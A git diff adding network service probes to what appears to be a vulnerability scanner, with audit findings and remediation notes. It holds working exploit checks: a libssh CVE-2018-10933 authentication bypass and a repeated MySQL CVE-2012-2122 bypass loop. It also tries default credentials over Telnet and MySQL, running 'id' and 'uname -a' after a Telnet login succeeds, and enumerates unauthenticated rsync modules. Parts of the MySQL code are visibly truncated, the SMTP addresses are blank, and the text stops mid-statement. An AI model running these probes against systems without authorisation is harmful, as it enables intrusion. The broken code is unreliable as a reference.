owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + weak_labels.append(f"rsa_key: {key_bits}-bit") + except Exception: + pass + + transport.close() + + # DSA key detection + if "ssh-dss" in key_types: + findings.append(Finding( + severity=Severity.MEDIUM, + title="SSH DSA host key offered (ssh-dss)", + description="The SSH server offers DSA host keys, which are limited to 1024-bit and considered weak.", + evidence=f"Key types: {', '.join(sorted(key_types))}", + remediation="Remove DSA host keys and use Ed25519 or RSA (>=3072-bit) instead.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + weak_labels.append("key_types: ssh-dss") + + weak_ciphers = ciphers & _WEAK_CIPHERS + weak_kex = kex & _WEAK_KEX + + if weak_ciphers: + cipher_list = ", ".join(sorted(weak_ciphers)) + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SSH weak ciphers: {cipher_list}", + description="The SSH server offers ciphers considered cryptographically weak.", + evidence=f"Weak ciphers offered: {cipher_list}", + remediation="Disable CBC-mode and RC4 ciphers in sshd_config.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + weak_labels.append(f"ciphers: {cipher_list}") + + if weak_kex: + kex_list = ", ".join(sorted(weak_kex)) + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SSH weak key exchange: {kex_list}", + description="The SSH server offers key-exchange algorithms with known weaknesses.", + evidence=f"Weak KEX offered: {kex_list}", + remediation="Disable SHA-1 based key exchange algorithms in sshd_config.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + weak_labels.append(f"kex: {kex_list}") + + except Exception as e: + self.P(f"SSH cipher audit failed on {target}:{port}: {e}", color='y') + + return findings, weak_labels + + def _ssh_check_libssh_bypass(self, target, port): + """Test CVE-2018-10933: libssh auth bypass via premature USERAUTH_SUCCESS. + + Affected versions: libssh 0.6.0–0.8.3 (fixed in 0.7.6 / 0.8.4). + The vulnerability allows a client to send SSH2_MSG_USERAUTH_SUCCESS (52) + instead of a proper auth request, and the server accepts it. + + Returns + ------- + Finding or None + """ + try: + transport = paramiko.Transport((target, port)) + transport.connect() + # SSH2_MSG_USERAUTH_SUCCESS = 52 (0x34) + msg = paramiko.Message() + msg.add_byte(b'\x34') + transport._send_message(msg) + try: + chan = transport.open_session(timeout=3) + if chan is not None: + chan.close() + transport.close() + return Finding( + severity=Severity.CRITICAL, + title="libssh auth bypass (CVE-2018-10933)", + description="Server accepted SSH2_MSG_USERAUTH_SUCCESS from client, " + "bypassing authentication entirely. Full shell access possible.", + evidence="Session channel opened after sending USERAUTH_SUCCESS.", + remediation="Upgrade libssh to >= 0.8.4 or >= 0.7.6.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + ) + except Exception: + pass + transport.close() + except Exception as e: + self.P(f"libssh bypass check failed on {target}:{port}: {e}", color='y') + return None + + def _service_info_smtp(self, target, port): # default port: 25 + """ + Assess SMTP service security: banner, EHLO features, STARTTLS, + authentication methods, open relay, and user enumeration. + + Checks performed (in order): + + 1. Banner grab — fingerprint MTA software and version. + 2. EHLO — enumerate server capabilities (SIZE, AUTH, STARTTLS, etc.). + 3. STARTTLS support — check for encryption. + 4. AUTH methods — detect available authentication mechanisms. + 5. Open relay test — attempt MAIL FROM / RCPT TO without auth. + 6. VRFY / EXPN — test user enumeration commands. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + import smtplib + + findings = [] + result = { + "banner": None, + "server_hostname": None, + "max_message_size": None, + "auth_methods": [], + } + + # --- 1. Connect and grab banner --- + try: + smtp = smtplib.SMTP(timeout=5) + code, msg = smtp.connect(target, port) + result["banner"] = f"{code} {msg.decode(errors='replace')}" + except Exception as e: + return probe_error(target, port, "SMTP", e) + + # --- 2. EHLO — server capabilities --- + identity = getattr(self, 'scanner_identity', 'probe.redmesh.local') + ehlo_features = [] + try: + code, msg = smtp.ehlo(identity) + if code == 250: + for line in msg.decode(errors="replace").split("\n"): + feat = line.strip() + if feat: + ehlo_features.append(feat) + except Exception: + # Fallback to HELO + try: + smtp.helo(identity) + except Exception: + pass + + # Parse meaningful fields from EHLO response + for idx, feat in enumerate(ehlo_features): + upper = feat.upper() + if idx == 0 and " Hello " in feat: + # First line is the server greeting: "hostname Hello client [ip]" + result["server_hostname"] = feat.split()[0] + if upper.startswith("SIZE "): + try: + size_bytes = int(feat.split()[1]) + result["max_message_size"] = f"{size_bytes // (1024*1024)}MB" + except (ValueError, IndexError): + pass + if upper.startswith("AUTH "): + result["auth_methods"] = feat.split()[1:] + + # --- 2b. Banner timezone extraction --- + banner_text = result["banner"] or "" + _tz_match = _re.search(r'([+-]\d{4})\s*$', banner_text) + if _tz_match: + self._emit_metadata("timezone_hints", {"offset": _tz_match.group(1), "source": f"smtp:{port}"}) + + # --- 2c. Banner / hostname information disclosure --- + # Extract MTA version from banner (e.g. "Exim 4.97", "Postfix", "Sendmail 8.x") + version_match = _re.search( + r"(Exim|Postfix|Sendmail|Microsoft ESMTP|hMailServer|Haraka|OpenSMTPD)" + r"[\s/]*([0-9][0-9.]*)?", + banner_text, _re.IGNORECASE, + ) + if version_match: + mta = version_match.group(0).strip() + findings.append(Finding( + severity=Severity.LOW, + title=f"SMTP banner discloses MTA software: {mta} (aids CVE lookup).", + description="The SMTP banner reveals the mail transfer agent software and version.", + evidence=f"Banner: {banner_text[:120]}", + remediation="Remove or genericize the SMTP banner to hide MTA version details.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + + # CVE check on extracted MTA version + _smtp_product_map = {'exim': 'exim', 'postfix': 'postfix', 'opensmtpd': 'opensmtpd'} + _mta_version = version_match.group(2) if version_match and version_match.group(2) else None + _mta_name = version_match.group(1).lower() if version_match else None + + # If banner lacks version (common with OpenSMTPD), try HELP command + if version_match and not _mta_version: + try: + code, msg = smtp.docmd("HELP") + help_text = msg.decode(errors="replace") if isinstance(msg, bytes) else str(msg) + _help_ver = _re.search(r'(\d+\.\d+(?:\.\d+)*(?:p\d+)?)', help_text) + if _help_ver: + _mta_version = _help_ver.group(1) + except Exception: + pass + + if _mta_name and _mta_version: + _cve_product = _smtp_product_map.get(_mta_name) + if _cve_product: + findings += check_cves(_cve_product, _mta_version) + + if result["server_hostname"]: + # Check if hostname reveals container/internal info + hostname = result["server_hostname"] + if _re.search(r"[0-9a-f]{12}", hostname): + self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp:{port}"}) + findings.append(Finding( + severity=Severity.LOW, + title=f"SMTP hostname leaks container ID: {hostname} (infrastructure disclosure).", + description="The EHLO response reveals a container ID or internal hostname.", + evidence=f"Hostname: {hostname}", + remediation="Configure the SMTP server to use a proper FQDN instead of the container ID.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="firm", + )) + if _re.match(r'^[a-z0-9-]+-[a-z0-9]{8,10}$', hostname): + self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp_k8s:{port}"}) + findings.append(Finding( + severity=Severity.LOW, + title=f"SMTP hostname matches Kubernetes pod name pattern: {hostname}", + description="The EHLO hostname resembles a Kubernetes pod name (deployment-replicaset-podid).", + evidence=f"Hostname: {hostname}", + remediation="Configure the SMTP server to use a proper FQDN instead of the pod name.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="firm", + )) + if hostname.endswith('.internal'): + self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp_internal:{port}"}) + findings.append(Finding( + severity=Severity.LOW, + title=f"SMTP hostname uses cloud-internal DNS suffix: {hostname}", + description="The EHLO hostname ends with '.internal', indicating AWS/GCP internal DNS.", + evidence=f"Hostname: {hostname}", + remediation="Configure the SMTP server to use a public FQDN instead of internal DNS.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="firm", + )) + + # --- 3. STARTTLS --- + starttls_supported = any("STARTTLS" in f.upper() for f in ehlo_features) + if not starttls_supported: + try: + code, msg = smtp.docmd("STARTTLS") + if code == 220: + starttls_supported = True + except Exception: + pass + + if not starttls_supported: + findings.append(Finding( + severity=Severity.MEDIUM, + title="SMTP does not support STARTTLS (credentials sent in cleartext).", + description="The SMTP server does not offer STARTTLS, leaving credentials and mail unencrypted.", + evidence="STARTTLS not listed in EHLO features and STARTTLS command rejected.", + remediation="Enable STARTTLS support on the SMTP server.", + owasp_id="A02:2021", + cwe_id="CWE-319", + confidence="certain", + )) + + # --- 4. AUTH without credentials --- + if result["auth_methods"]: + try: + code, msg = smtp.docmd("AUTH LOGIN") + if code == 235: + findings.append(Finding( + severity=Severity.HIGH, + title="SMTP AUTH LOGIN accepted without credentials.", + description="The SMTP server accepted AUTH LOGIN without providing actual credentials.", + evidence=f"AUTH LOGIN returned code {code}.", + remediation="Fix AUTH configuration to require valid credentials.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + except Exception: + pass + + # --- 5. Open relay test --- + try: + smtp.rset() + except Exception: + try: + smtp.quit() + except Exception: + pass + try: + smtp = smtplib.SMTP(target, port, timeout=5) + smtp.ehlo(identity) + except Exception: + smtp = None + + if smtp: + try: + code_from, _ = smtp.docmd(f"MAIL FROM:") + if code_from == 250: + code_rcpt, _ = smtp.docmd("RCPT TO:") + if code_rcpt == 250: + findings.append(Finding( + severity=Severity.HIGH, + title="SMTP open relay detected (accepts mail to external domains without auth).", + description="The SMTP server relays mail to external domains without authentication.", + evidence="RCPT TO: accepted (code 250).", + remediation="Configure SMTP relay restrictions to require authentication.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + smtp.docmd("RSET") + except Exception: + pass + + # --- 6. VRFY / EXPN --- + if smtp: + for cmd_name in ("VRFY", "EXPN"): + try: + code, msg = smtp.docmd(cmd_name, "root") + if code in (250, 251, 252): + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SMTP {cmd_name} command enabled (user enumeration possible).", + description=f"The {cmd_name} command can be used to enumerate valid users on the system.", + evidence=f"{cmd_name} root returned code {code}.", + remediation=f"Disable the {cmd_name} command in the SMTP server configuration.", + owasp_id="A01:2021", + cwe_id="CWE-203", + confidence="certain", + )) + except Exception: + pass + + if smtp: + try: + smtp.quit() + except Exception: + pass + + return probe_result(raw_data=result, findings=findings) + + def _service_info_telnet(self, target, port): # default port: 23 + """ + Assess Telnet service security: banner, negotiation options, default + credentials, privilege level, system fingerprint, and credential validation. + + Checks performed (in order): + + 1. Banner grab and IAC option parsing. + 2. Default credential check — try common user:pass combos. + 3. Privilege escalation check — report if root shell is obtained. + 4. System fingerprint — run ``id`` and ``uname -a`` on successful login. + 5. Arbitrary credential acceptance test. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + import time as _time + + findings = [] + result = { + "banner": None, + "negotiation_options": [], + "accepted_credentials": [], + "system_info": None, + } + + findings.append(Finding( + severity=Severity.MEDIUM, + title="Telnet service is running (unencrypted remote access).", + description="Telnet transmits all data including credentials in cleartext.", + evidence=f"Telnet port {port} is open on {target}.", + remediation="Replace Telnet with SSH for encrypted remote access.", + owasp_id="A02:2021", + cwe_id="CWE-319", + confidence="certain", + )) + + # --- 1. Banner grab + IAC negotiation parsing --- + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + raw = sock.recv(2048) + sock.close() + except Exception as e: + return probe_error(target, port, "Telnet", e) + + # Parse IAC sequences + iac_options = [] + cmd_names = {251: "WILL", 252: "WONT", 253: "DO", 254: "DONT"} + opt_names = { + 0: "BINARY", 1: "ECHO", 3: "SGA", 5: "STATUS", + 24: "TERMINAL_TYPE", 31: "WINDOW_SIZE", 32: "TERMINAL_SPEED", + 33: "REMOTE_FLOW", 34: "LINEMODE", 36: "ENVIRON", 39: "NEW_ENVIRON", + } + i = 0 + text_parts = [] + while i < len(raw): + if raw[i] == 0xFF and i + 2 < len(raw): + cmd = cmd_names.get(raw[i + 1], f"CMD_{raw[i+1]}") + opt = opt_names.get(raw[i + 2], f"OPT_{raw[i+2]}") + iac_options.append(f"{cmd} {opt}") + i += 3 + else: + if 32 <= raw[i] < 127: + text_parts.append(chr(raw[i])) + i += 1 + + banner_text = "".join(text_parts).strip() + if banner_text: + result["banner"] = banner_text + elif iac_options: + result["banner"] = "(IAC negotiation only, no text banner)" + else: + result["banner"] = "(no banner)" + result["negotiation_options"] = iac_options + + # --- 2–4. Default credential check with system fingerprint --- + def _try_telnet_login(user, passwd): + """Attempt Telnet login, return (success, uid_line, uname_line).""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + s.connect((target, port)) + + # Read until login prompt + buf = b"" + deadline = _time.time() + 5 + while _time.time() < deadline: + try: + chunk = s.recv(1024) + if not chunk: + break + buf += chunk + if b"login:" in buf.lower() or b"username:" in buf.lower(): + break + except socket.timeout: + break + + if b"login:" not in buf.lower() and b"username:" not in buf.lower(): + s.close() + return False, None, None + + s.sendall(user.encode() + b"\n") + + # Read until password prompt + buf = b"" + deadline = _time.time() + 5 + while _time.time() < deadline: + try: + chunk = s.recv(1024) + if not chunk: + break + buf += chunk + if b"assword:" in buf: + break + except socket.timeout: + break + + if b"assword:" not in buf: + s.close() + return False, None, None + + s.sendall(passwd.encode() + b"\n") + _time.sleep(1.5) + + # Read response + resp = b"" + try: + while True: + chunk = s.recv(4096) + if not chunk: + break + resp += chunk + except socket.timeout: + pass + + resp_text = resp.decode("utf-8", errors="replace") + + # Check for login failure indicators + fail_indicators = ["incorrect", "failed", "denied", "invalid", "login:"] + if any(ind in resp_text.lower() for ind in fail_indicators): + s.close() + return False, None, None + + # Login succeeded — try to get system info + uid_line = None + uname_line = None + try: + s.sendall(b"id\n") + _time.sleep(0.5) + id_resp = s.recv(2048).decode("utf-8", errors="replace") + for line in id_resp.replace("\r\n", "\n").split("\n"): + cleaned = line.strip() + # Remove ANSI/control sequences + import re + cleaned = re.sub(r"\x1b\[[0-9;]*[a-zA-Z]", "", cleaned) + if "uid=" in cleaned: + uid_line = cleaned + break + except Exception: + pass + + try: + s.sendall(b"uname -a\n") + _time.sleep(0.5) + uname_resp = s.recv(2048).decode("utf-8", errors="replace") + for line in uname_resp.replace("\r\n", "\n").split("\n"): + cleaned = line.strip() + import re + cleaned = re.sub(r"\x1b\[[0-9;]*[a-zA-Z]", "", cleaned) + if "linux" in cleaned.lower() or "unix" in cleaned.lower() or "darwin" in cleaned.lower(): + uname_line = cleaned + break + except Exception: + pass + + s.close() + return True, uid_line, uname_line + + except Exception: + return False, None, None + + system_info_captured = False + for user, passwd in _TELNET_DEFAULT_CREDS: + success, uid_line, uname_line = _try_telnet_login(user, passwd) + if success: + result["accepted_credentials"].append(f"{user}:{passwd}") + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"Telnet default credential accepted: {user}:{passwd}", + description="The Telnet server accepted a well-known default credential.", + evidence=f"Accepted credential: {user}:{passwd}", + remediation="Change default passwords immediately and enforce strong credential policies.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + # Check for root access + if uid_line and "uid=0" in uid_line: + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"Root shell access via Telnet with {user}:{passwd}.", + description="Root-level shell access was obtained over an unencrypted Telnet session.", + evidence=f"uid=0 in id output: {uid_line}", + remediation="Disable root login via Telnet; use SSH with key-based auth instead.", + owasp_id="A07:2021", + cwe_id="CWE-250", + confidence="certain", + )) + + # Capture system info once + if not system_info_captured and (uid_line or uname_line): + parts = [] + if uid_line: + parts.append(uid_line) + if uname_line: + parts.append(uname_line) + result["system_info"] = " | ".join(parts) + system_info_captured = True + + # --- 5. Arbitrary credential acceptance test --- + import string as _string + ruser = "".join(random.choices(_string.ascii_lowercase, k=8)) + rpass = "".join(random.choices(_string.ascii_letters + _string.digits, k=12)) + success, _, _ = _try_telnet_login(ruser, rpass) + if success: + findings.append(Finding( + severity=Severity.CRITICAL, + title="Telnet accepts arbitrary credentials", + description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", + evidence=f"Accepted random creds {ruser}:{rpass}", + remediation="Investigate immediately — authentication is non-functional.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + + return probe_result(raw_data=result, findings=findings) + + + def _service_info_rsync(self, target, port): # default port: 873 + """ + Rsync service probe: version handshake, module enumeration, auth check. + + Checks performed: + + 1. Banner grab — extract rsync protocol version. + 2. Module enumeration — ``#list`` to discover available modules. + 3. Auth check — connect to each module to test unauthenticated access. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"version": None, "modules": []} + + # --- 1. Connect and receive banner --- + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + banner = sock.recv(256).decode("utf-8", errors="ignore").strip() + except Exception as e: + return probe_error(target, port, "rsync", e) + + if not banner.startswith("@RSYNCD:"): + try: + sock.close() + except Exception: + pass + findings.append(Finding( + severity=Severity.INFO, + title=f"Port {port} open but no rsync banner", + description=f"Expected @RSYNCD banner, got: {banner[:80]}", + confidence="tentative", + )) + return probe_result(raw_data=raw, findings=findings) + + # Extract protocol version + proto_version = banner.split(":", 1)[1].strip().split()[0] if ":" in banner else None + raw["version"] = proto_version + + findings.append(Finding( + severity=Severity.LOW, + title=f"Rsync service detected (protocol {proto_version})", + description=f"Rsync daemon is running on {target}:{port}.", + evidence=f"Banner: {banner}", + remediation="Restrict rsync access to trusted networks; require authentication for all modules.", + cwe_id="CWE-200", + confidence="certain", + )) + + # --- 2. Module enumeration --- + try: + # Send matching version handshake + list request + sock.sendall(f"@RSYNCD: {proto_version}\n".encode()) + sock.sendall(b"#list\n") + # Read module listing until @RSYNCD: EXIT + module_data = b"" + while True: + chunk = sock.recv(4096) + if not chunk: + break + module_data += chunk + if b"@RSYNCD: EXIT" in module_data: + break + sock.close() + + modules = [] + for line in module_data.decode("utf-8", errors="ignore").splitlines(): + line = line.strip() + if line.startswith("@RSYNCD:") or not line: + continue + # Format: "module_name\tdescription" or just "module_name" + parts = line.split("\t", 1) + mod_name = parts[0].strip() + mod_desc = parts[1].strip() if len(parts) > 1 else "" + if mod_name: + modules.append({"name": mod_name, "description": mod_desc}) + + raw["modules"] = modules + + if modules: + mod_names = ", ".join(m["name"] for m in modules) + findings.append(Finding( + severity=Severity.HIGH, + title=f"Rsync module enumeration successful: {mod_names}", + description=f"Rsync on {target}:{port} exposes {len(modules)} module(s). " + "Exposed modules may allow file read/write.", + evidence=f"Modules: {mod_names}", + remediation="Restrict module listing and require authentication for all rsync modules.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception as e: + self.P(f"Rsync module enumeration failed on {target}:{port}: {e}", color='y') + try: + sock.close() + except Exception: + pass + + # --- 3. Test unauthenticated access per module --- + for mod in raw["modules"]: + try: + sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock2.settimeout(3) + sock2.connect((target, port)) + sock2.recv(256) # banner + sock2.sendall(f"@RSYNCD: {proto_version}\n".encode()) + sock2.sendall(f"{mod['name']}\n".encode()) + resp = sock2.recv(4096).decode("utf-8", errors="ignore") + sock2.close() + + if "@RSYNCD: OK" in resp: + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"Rsync module '{mod['name']}' accessible without authentication", + description=f"Module '{mod['name']}' on {target}:{port} allows unauthenticated access. " + "An attacker can read or write arbitrary files within this module.", + evidence=f"Connected to module '{mod['name']}', received @RSYNCD: OK", + remediation=f"Add 'auth users' and 'secrets file' to the [{mod['name']}] section in rsyncd.conf.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + elif "@ERROR" in resp and "auth" in resp.lower(): + raw["modules"] = [ + {**m, "auth_required": True} if m["name"] == mod["name"] else m + for m in raw["modules"] + ] + except Exception: + pass + + return probe_result(raw_data=raw, findings=findings) diff --git a/extensions/business/cybersec/red_mesh/worker/service/database.py b/extensions/business/cybersec/red_mesh/worker/service/database.py new file mode 100644 index 00000000..ea38f889 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/database.py @@ -0,0 +1,1305 @@ +import re as _re +import socket +import struct + +import requests + +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves +from ._base import _ServiceProbeBase + + +class _ServiceDatabaseMixin(_ServiceProbeBase): + """MySQL, Redis, MSSQL, PostgreSQL, Memcached, MongoDB, CouchDB and InfluxDB probes.""" + + def _service_info_mysql(self, target, port): # default port: 3306 + """ + MySQL handshake probe: extract version, auth plugin, and check CVEs. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"version": None, "auth_plugin": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + data = sock.recv(256) + sock.close() + + if data and len(data) > 4: + # MySQL protocol: first byte of payload is protocol version (0x0a = v10) + pkt_payload = data[4:] # skip 3-byte length + 1-byte seq + if pkt_payload and pkt_payload[0] == 0x0a: + version = pkt_payload[1:].split(b'\x00')[0].decode('utf-8', errors='ignore') + raw["version"] = version + + # Extract auth plugin name (at end of handshake after capabilities/salt) + try: + parts = pkt_payload.split(b'\x00') + if len(parts) >= 2: + last = parts[-2].decode('utf-8', errors='ignore') if parts[-1] == b'' else parts[-1].decode('utf-8', errors='ignore') + if 'mysql_native' in last or 'caching_sha2' in last or 'sha256' in last: + raw["auth_plugin"] = last + except Exception: + pass + + findings.append(Finding( + severity=Severity.LOW, + title=f"MySQL version disclosed: {version}", + description=f"MySQL {version} handshake received on {target}:{port}.", + evidence=f"version={version}, auth_plugin={raw['auth_plugin']}", + remediation="Restrict MySQL to trusted networks; consider disabling version disclosure.", + confidence="certain", + )) + + # Salt entropy check — extract 20-byte auth scramble from handshake + try: + import math + # After version null-terminated string: 4 bytes thread_id + 8 bytes salt1 + after_version = pkt_payload[1:].split(b'\x00', 1)[1] + if len(after_version) >= 12: + salt1 = after_version[4:12] # 8 bytes after thread_id + # Salt part 2: after capabilities(2)+charset(1)+status(2)+caps_upper(2)+auth_len(1)+reserved(10) + salt2 = b'' + if len(after_version) >= 31: + salt2 = after_version[31:43].rstrip(b'\x00') + full_salt = salt1 + salt2 + if len(full_salt) >= 8: + # Shannon entropy + byte_counts = {} + for b in full_salt: + byte_counts[b] = byte_counts.get(b, 0) + 1 + entropy = 0.0 + n = len(full_salt) + for count in byte_counts.values(): + p = count / n + if p > 0: + entropy -= p * math.log2(p) + raw["salt_entropy"] = round(entropy, 2) + if entropy < 2.0: + findings.append(Finding( + severity=Severity.HIGH, + title=f"MySQL salt entropy critically low ({entropy:.2f} bits)", + description="The authentication scramble has abnormally low entropy, " + "suggesting a non-standard or deceptive MySQL service.", + evidence=f"salt_entropy={entropy:.2f}, salt_hex={full_salt.hex()[:40]}", + remediation="Investigate this MySQL instance — authentication randomness is insufficient.", + cwe_id="CWE-330", + confidence="firm", + )) + except Exception: + pass + + # CVE check + findings += check_cves("mysql", version) + else: + raw["protocol_byte"] = pkt_payload[0] if pkt_payload else None + findings.append(Finding( + severity=Severity.INFO, + title="MySQL port open (non-standard handshake)", + description=f"Port {port} responded but protocol byte is not 0x0a.", + confidence="tentative", + )) + else: + findings.append(Finding( + severity=Severity.INFO, + title="MySQL port open (no banner)", + description=f"No handshake data received on {target}:{port}.", + confidence="tentative", + )) + except Exception as e: + return probe_error(target, port, "MySQL", e) + + return probe_result(raw_data=raw, findings=findings) + + def _service_info_mysql_creds(self, target, port): # default port: 3306 + """ + MySQL default credential testing (opt-in via active_auth feature group). + + Attempts mysql_native_password auth with a small list of default credentials. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + import hashlib + + findings = [] + raw = {"tested_credentials": 0, "accepted_credentials": []} + creds = [("root", ""), ("root", "root"), ("root", "password")] + + for username, password in creds: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + data = sock.recv(256) + + if not data or len(data) < 4: + sock.close() + continue + + pkt_payload = data[4:] + if not pkt_payload or pkt_payload[0] != 0x0a: + sock.close() + continue + + # Extract salt (scramble) from handshake + parts = pkt_payload[1:].split(b'\x00', 1) + rest = parts[1] if len(parts) > 1 else b'' + # Salt part 1: bytes 4..11 after capabilities (skip 4 bytes capabilities + 1 byte filler) + if len(rest) >= 13: + salt1 = rest[5:13] + else: + sock.close() + continue + # Salt part 2: after reserved bytes (skip 2+2+1+10 reserved = 15) + salt2 = b'' + if len(rest) >= 28: + salt2 = rest[28:40].rstrip(b'\x00') + salt = salt1 + salt2 + + # mysql_native_password auth response + if password: + sha1_pass = hashlib.sha1(password.encode()).digest() + sha1_sha1 = hashlib.sha1(sha1_pass).digest() + sha1_salt_sha1sha1 = hashlib.sha1(salt + sha1_sha1).digest() + auth_data = bytes(a ^ b for a, b in zip(sha1_pass, sha1_salt_sha1sha1)) + else: + auth_data = b'' + + # Build auth response packet + client_flags = struct.pack('= 5: + resp_type = resp[4] + if resp_type == 0x00: # OK packet + cred_str = f"{username}:{password}" if password else f"{username}:(empty)" + raw["accepted_credentials"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"MySQL default credential accepted: {cred_str}", + description=f"MySQL on {target}:{port} accepts {cred_str}.", + evidence=f"Auth response OK for {cred_str}", + remediation="Change default passwords and restrict access.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + except Exception: + continue + + if not findings: + findings.append(Finding( + severity=Severity.INFO, + title="MySQL default credentials rejected", + description=f"Tested {raw['tested_credentials']} credential pairs, all rejected.", + confidence="certain", + )) + + # --- CVE-2012-2122 auth bypass test --- + # Affected: MySQL 5.1.x < 5.1.63, 5.5.x < 5.5.25, MariaDB < 5.5.23 + # Bug: memcmp return value truncation means ~1/256 chance of auth bypass + cve_bypass = self._mysql_test_cve_2012_2122(target, port) + if cve_bypass: + findings.append(cve_bypass) + raw["cve_2012_2122"] = True + + return probe_result(raw_data=raw, findings=findings) + + # Affected version ranges for CVE-2012-2122 + _MYSQL_CVE_2012_2122_RANGES = [ + ((5, 1, 0), (5, 1, 63)), # MySQL 5.1.x < 5.1.63 + ((5, 5, 0), (5, 5, 25)), # MySQL 5.5.x < 5.5.25 + ] + + def _mysql_test_cve_2012_2122(self, target, port): + """Test for MySQL CVE-2012-2122 timing-based authentication bypass. + + On affected versions, memcmp() return value is cast to char, giving + a ~1/256 chance that any password is accepted. 300 attempts gives + ~69% probability of detection. + + Returns + ------- + Finding or None + CRITICAL finding if bypass confirmed, None otherwise. + """ + import hashlib + import random + + # First, connect to get version + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + data = sock.recv(256) + sock.close() + except Exception: + return None + + if not data or len(data) < 5: + return None + pkt_payload = data[4:] + if not pkt_payload or pkt_payload[0] != 0x0a: + return None + + version_str = pkt_payload[1:].split(b'\x00')[0].decode('utf-8', errors='ignore') + version_tuple = tuple(int(x) for x in _re.findall(r'\d+', version_str)[:3]) + if len(version_tuple) < 3: + return None + + # Check if version is in affected range + affected = False + for low, high in self._MYSQL_CVE_2012_2122_RANGES: + if low <= version_tuple < high: + affected = True + break + if not affected: + return None + + # Attempt rapid auth with random passwords + self.P(f"MySQL {version_str} in CVE-2012-2122 range — testing auth bypass ({target}:{port})", color='y') + attempts = 300 + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + + for _ in range(attempts): + # Read handshake + data = sock.recv(512) + if not data or len(data) < 5: + break + pkt_payload = data[4:] + if not pkt_payload or pkt_payload[0] != 0x0a: + break + + # Extract salt + parts = pkt_payload[1:].split(b'\x00', 1) + rest = parts[1] if len(parts) > 1 else b'' + if len(rest) < 13: + break + salt1 = rest[5:13] + salt2 = rest[28:40].rstrip(b'\x00') if len(rest) >= 28 else b'' + salt = salt1 + salt2 + + # Auth with random password + rand_pass = random.randbytes(20) + sha1_pass = hashlib.sha1(rand_pass).digest() + sha1_sha1 = hashlib.sha1(sha1_pass).digest() + sha1_salt = hashlib.sha1(salt + sha1_sha1).digest() + auth_data = bytes(a ^ b for a, b in zip(sha1_pass, sha1_salt)) + + client_flags = struct.pack('= 5 and resp[4] == 0x00: + sock.close() + return Finding( + severity=Severity.CRITICAL, + title=f"MySQL authentication bypass confirmed (CVE-2012-2122)", + description=f"MySQL {version_str} on {target}:{port} accepted login with a random password " + "due to CVE-2012-2122 memcmp truncation bug. Any attacker can gain root access.", + evidence=f"Auth succeeded with random password on attempt (version {version_str})", + remediation="Upgrade MySQL to at least 5.1.63 / 5.5.25 / MariaDB 5.5.23.", + owasp_id="A07:2021", + cwe_id="CWE-305", + confidence="certain", + ) + + # If error packet, server closes connection — reconnect + if resp and len(resp) >= 5 and resp[4] == 0xFF: + sock.close() + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + + sock.close() + except Exception: + pass + return None + + # SAFETY: Read-only commands only. NEVER add CONFIG SET, SLAVEOF, MODULE LOAD, EVAL, DEBUG. + def _service_info_redis(self, target, port): # default port: 6379 + """ + Deep Redis probe: auth check, version, config readability, data size, client list. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings, raw = [], {"version": None, "os": None, "config_writable": False} + sock = self._redis_connect(target, port) + if not sock: + return probe_error(target, port, "Redis", Exception("connection failed")) + + auth_findings = self._redis_check_auth(sock, raw) + if not 